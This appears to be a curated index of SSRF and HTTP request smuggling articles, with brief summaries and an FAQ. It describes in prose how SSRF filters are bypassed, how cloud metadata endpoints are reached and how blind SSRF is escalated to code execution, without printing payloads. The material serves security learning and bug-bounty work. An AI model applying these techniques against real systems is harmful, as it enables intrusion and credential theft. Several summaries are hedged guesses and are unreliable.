| 2022-10-13 2022 | Blind SSRF - The Hide & Seek Game intermediate | The content discusses Blind Server-Side Request Forgery (SSRF) attacks, where attackers manipulate a server into making requests on their behalf without the server's knowledge. This technique can be used to access sensitive information or exploit vulnerabilities. The article likely delves into the challenges of detecting and preventing Blind SSRF attacks, highlighting the need for robust security measures to safeguard against this threat. |
| 2022-10-13 2022 | Chaining an Blind SSRF bug to Get an RCE intermediate | The content discusses the process of exploiting a Blind Server-Side Request Forgery (SSRF) vulnerability to achieve Remote Code Execution (RCE). By chaining these vulnerabilities, attackers can manipulate the server to execute arbitrary commands, potentially leading to unauthorized access and control over the system. This technique involves leveraging SSRF to interact with internal resources and ultimately escalate privileges to execute malicious code remotely. It highlights the importance of addressing and patching SSRF vulnerabilities to prevent such attacks and protect systems from exploitation. |
| 2022-10-13 2022 | How Github recon help me to find NINE FULL SSRF Vulnerability with AWS metadata access intermediate | The content discusses how utilizing Github reconnaissance techniques helped the author discover nine significant Server-Side Request Forgery (SSRF) vulnerabilities that provided access to AWS metadata. The vulnerabilities were likely identified through searching Github repositories for sensitive information or misconfigurations that could be exploited. The findings highlight the importance of conducting thorough security assessments and utilizing tools like Github recon to identify and address potential vulnerabilities in systems that could lead to unauthorized access or data breaches. |
| 2022-10-13 2022 | Intro to SSRF beginner | The content is an introduction to Server-Side Request Forgery (SSRF) provided via a link. SSRF is a type of web vulnerability where an attacker can manipulate a server into making unintended requests on their behalf. This can lead to unauthorized access to internal systems, data leaks, or even server exploitation. Understanding SSRF is crucial for web security professionals to prevent such attacks and protect sensitive data. The link likely provides more in-depth information on SSRF and its implications for web security. |
| 2022-10-13 2022 | The journey of Web Cache Firewall Bypass to SSRF to AWS credentials compromise! intermediate | The content discusses a progression from bypassing web cache and firewalls to exploiting Server-Side Request Forgery (SSRF) vulnerabilities, ultimately leading to compromising AWS credentials. The journey highlights the potential security risks associated with these vulnerabilities and the importance of securing systems against such attacks. |
| 2022-10-13 2022 | Vimeo upload function SSRF intermediate | The content mentions a security vulnerability related to Vimeo's upload function known as Server-Side Request Forgery (SSRF). This vulnerability could potentially allow attackers to manipulate the server into making unauthorized requests on their behalf. It is important for Vimeo to address and patch this vulnerability to prevent potential exploitation by malicious actors. |
| 2022-10-13 2022 | Just Gopher It: Escalating a Blind SSRF to RCE for $15k intermediate | The content discusses escalating a blind Server-Side Request Forgery (SSRF) vulnerability to Remote Code Execution (RCE) for a reward of $15,000. The method used involves exploiting the SSRF vulnerability to access internal services, then leveraging it to execute code on the server. The process is detailed in the content, highlighting the steps taken to turn a lower-level security issue into a critical RCE vulnerability. The article likely provides insights into the technical aspects of the exploit, the challenges faced, and the rewards reaped for successfully escalating the vulnerability. |
| 2022-10-13 2022 | Bypassing SSRF Protection intermediate | The content discusses the topic of bypassing Server-Side Request Forgery (SSRF) protection measures. SSRF is a vulnerability that allows attackers to send crafted requests from a server, potentially leading to unauthorized access or data leakage. By bypassing SSRF protection, attackers can circumvent security controls and exploit vulnerabilities in web applications. The article likely provides insights, techniques, or examples of how attackers can evade SSRF protection mechanisms to carry out malicious activities. It emphasizes the importance of implementing robust security measures to prevent SSRF attacks and safeguard sensitive data. |
| 2022-10-13 2022 | Vimeo SSRF with code execution potential. intermediate | The content discusses a security vulnerability in Vimeo known as Server-Side Request Forgery (SSRF) with the potential for code execution. The vulnerability could allow attackers to manipulate server requests and potentially execute malicious code. The link provided likely leads to more detailed information about this security issue. It is crucial for Vimeo to address and patch this vulnerability to prevent exploitation by malicious actors. |
| 2022-10-12 2022 | SSRF (Server Side Request Forgery) testing resources beginner 1 min read | Library of SSRF testing resources, including payloads leveraging port padding, status codes 300-308, filetypes like JPG and JSON, and various URL encoding techniques. It also features tools and scripts for DNS rebinding exploitation, such as `dref`, and a Python script `ip.py` for testing IP addresses, alongside a proxy for tunneling HTTP communications through SSRF-vulnerable servers. Examples demonstrate bypasses through IPv6, custom 30x redirects, and IP address obfuscation. |
| 2022-10-12 2022 | Server-Side Request Forgery beginner 7 min read | Library detailing Server-Side Request Forgery (SSRF) vulnerabilities, covering methodologies for bypassing filters like IPv6 notation, domain redirects, CIDR, rare addresses, encoded IPs, DNS rebinding, and URL parsing discrepancies. It showcases techniques for exploiting SSRF to access cloud metadata, leak files, perform network discovery, and achieve Remote Command Execution using tools such as swisskyrepo/SSRFmap, tarunkant/Gopherus, and Horlad/r3dir. Examples of common bypasses and specific exploits like using the `jar:` scheme or the `gopher://` protocol are provided, along with numerous IP obfuscation methods. |
| 2022-10-12 2022 | Multiple HTTP Redirects to Bypass SSRF Protections intermediate | The content discusses a technique involving multiple HTTP redirects to circumvent Server-Side Request Forgery (SSRF) protections. This method utilizes a series of redirects to trick a server into accessing unintended resources, potentially bypassing security measures. It highlights a vulnerability that attackers could exploit to manipulate servers into making requests to unauthorized destinations. This technique poses a risk to systems relying on SSRF defenses, emphasizing the importance of implementing robust security measures to prevent such attacks. |
| 2022-08-02 2022 | A Glossary of Blind SSRF Chains beginner 9 min read | Glossary detailing blind SSRF chains, focusing on proving impact when responses are unreadable. It explores techniques like "SSRF canaries" for verifying internal service interaction and identifying internal hosts via DNS and tools like AltDNS. The glossary covers leveraging response characteristics (errors, size, timing) for detection and mentions exploit vectors such as blind XXE and app-specific redirects, with examples including Confluence, Artifactory, Jenkins, and JAMF, and touches upon Apache mod_proxy SSRF (CVE-2021-40438). |
| 2021-11-26 2021 | New differential fuzzing tool reveals novel HTTP request smuggling techniques advanced Fuzzing | New differential fuzzing tool reveals novel HTTP request smuggling techniques → portswigger.net |
| 2021-11-12 2021 | Advanced request smuggling advanced 8 min read API Sec | Library detailing advanced request smuggling techniques, including HTTP/2-based vectors enabled by H2.CL and H2.TE vulnerabilities. It covers how HTTP/2 downgrading can lead to desynchronization, response queue poisoning, and persistent site takeover, leveraging Burp's HTTP/2 testing capabilities and highlighting common misconfigurations that create exploitable attack surfaces. → portswigger.net |
| 2021-10-08 2021 | Finding SSRF via HTML Injection inside a PDF file on AWS EC2 intermediate | Finding SSRF via HTML Injection inside a PDF file on AWS EC2 |
| 2021-10-04 2021 | 10 Types of Web Vulnerabilities that are Often Missed beginner 16 min read Bug Bounty IDOR SQLi XSS | Library exploring web vulnerabilities frequently overlooked by security testers, detailing techniques such as HTTP/2 smuggling, XXE via Office Open XML parsers, SSRF via XSS in PDF generators, and XSS via SVG files. It highlights obscure bug classes and approaches to traditional vulnerabilities, drawing upon research from sources like Wallarm, James Kettle, and Hakluke. The library provides insights into exploitation methods and practical examples, including the use of custom tools like http2smugl for HTTP/2 smuggling. → labs.detectify.com |
| 2021-08-17 2021 | Kontra Kontra AWS Top 10 beginner | Kontra Kontra AWS Top 10 |
| 2021-04-15 2021 | Story of a really cool SSRF bug.. Hello all! My name is Vedant, also… | by intermediate | Vedant, also known as Vegeta on Twitter, is a cybersecurity enthusiast and bug bounty hunter. He shares a story about discovering a significant Server-Side Request Forgery (SSRF) bug. This bug showcases his skills in identifying vulnerabilities and his passion for cybersecurity. → infosecwriteups.com |
| 2021-04-10 2021 | $10000 Facebook SSRF (Bug Bounty) | by Amine Aboud | Medium intermediate Bug Bounty | The content discusses a bug bounty reward of $10,000 for a blind Server-Side Request Forgery (SSRF) vulnerability found on Facebook. The process involved subdomain enumeration, file bruteforcing, and code review to identify the SSRF issue. The author, Amine Aboud, highlights the methodology used to discover the vulnerability and emphasizes the importance of thorough testing to uncover such security flaws. |
| 2019-08-23 2019 | SSRF in the Wild intermediate | The content discusses SSRF (Server-Side Request Forgery) vulnerabilities found in real-world scenarios. It emphasizes that the analysis is not based on scientific methods but rather focuses on the prevalence of SSRFs in practical situations. The term "in the wild" suggests that these vulnerabilities are encountered in real-world environments rather than just theoretical discussions. The content likely provides insights into the frequency and impact of SSRF vulnerabilities discovered outside controlled testing environments. |
| 2019-04-20 2019 | PDFReacter SSRF to ROOT Level Local File Read which led to RCE advanced RCE | PDFReacter is a parser that converts HTML content to PDF. |
| 2018-09-15 2018 | Into the Borg – SSRF inside Google production network | OpnSec intermediate XSS | In March 2018, a security researcher found an XSS vulnerability in Google Caja, a tool for embedding html/javascript securely. The issue was reported to Google and fixed in May 2018. The researcher tested Google Sites and Google Caja, discovering the vulnerability within Google's production network. The article discusses the process of identifying and reporting the XSS vulnerability, highlighting the importance of security testing in large-scale systems like Google's. |
| 2018-06-27 2018 | Server Side Request Forgery (SSRF) Testing intermediate | The content discusses Server Side Request Forgery (SSRF) testing for fun rather than for a bounty. The author discovered a vulnerable website to SSRF but did not elaborate on the exploitation process. |
| 2018-06-15 2018 | How i converted SSRF TO XSS in jira. intermediate XSS | The content discusses the author's interest in bug bounty hunting and their focus on finding vulnerabilities like Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS) in Jira. The author shares their experience of converting SSRF into XSS, highlighting their dedication to discovering new vulnerabilities and improving their reconnaissance skills. |
| 2018-06-07 2018 | How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! advanced RCE | The content appears to be a brief introduction with minimal information provided. It mentions chaining four vulnerabilities on GitHub Enterprise, starting from SSRF execution to achieving Remote Code Execution (RCE). The author is identified as 🍊. |
Frequently Asked Questions
- What is SSRF and why is it critical?
- Server-Side Request Forgery (SSRF) tricks the server into making HTTP requests to unintended destinations. It is critical because it can access internal services, cloud metadata endpoints (169.254.169.254), and private networks that are not reachable from the internet, potentially leading to full cloud account compromise.
- What are common SSRF bypass techniques?
- Common bypasses include DNS rebinding, IP encoding tricks (decimal, octal, hex, IPv6), URL parser inconsistencies between the filter and the HTTP library, open redirect chains, and alternative URL schemes. Attackers also use shortened URLs and domain names that resolve to internal IPs.
- Where does SSRF commonly appear?
- SSRF is frequently found in webhook integrations, URL preview and unfurling features, PDF and screenshot generators, image/file processing pipelines, and any functionality where the application fetches a remote resource based on user-supplied URLs.
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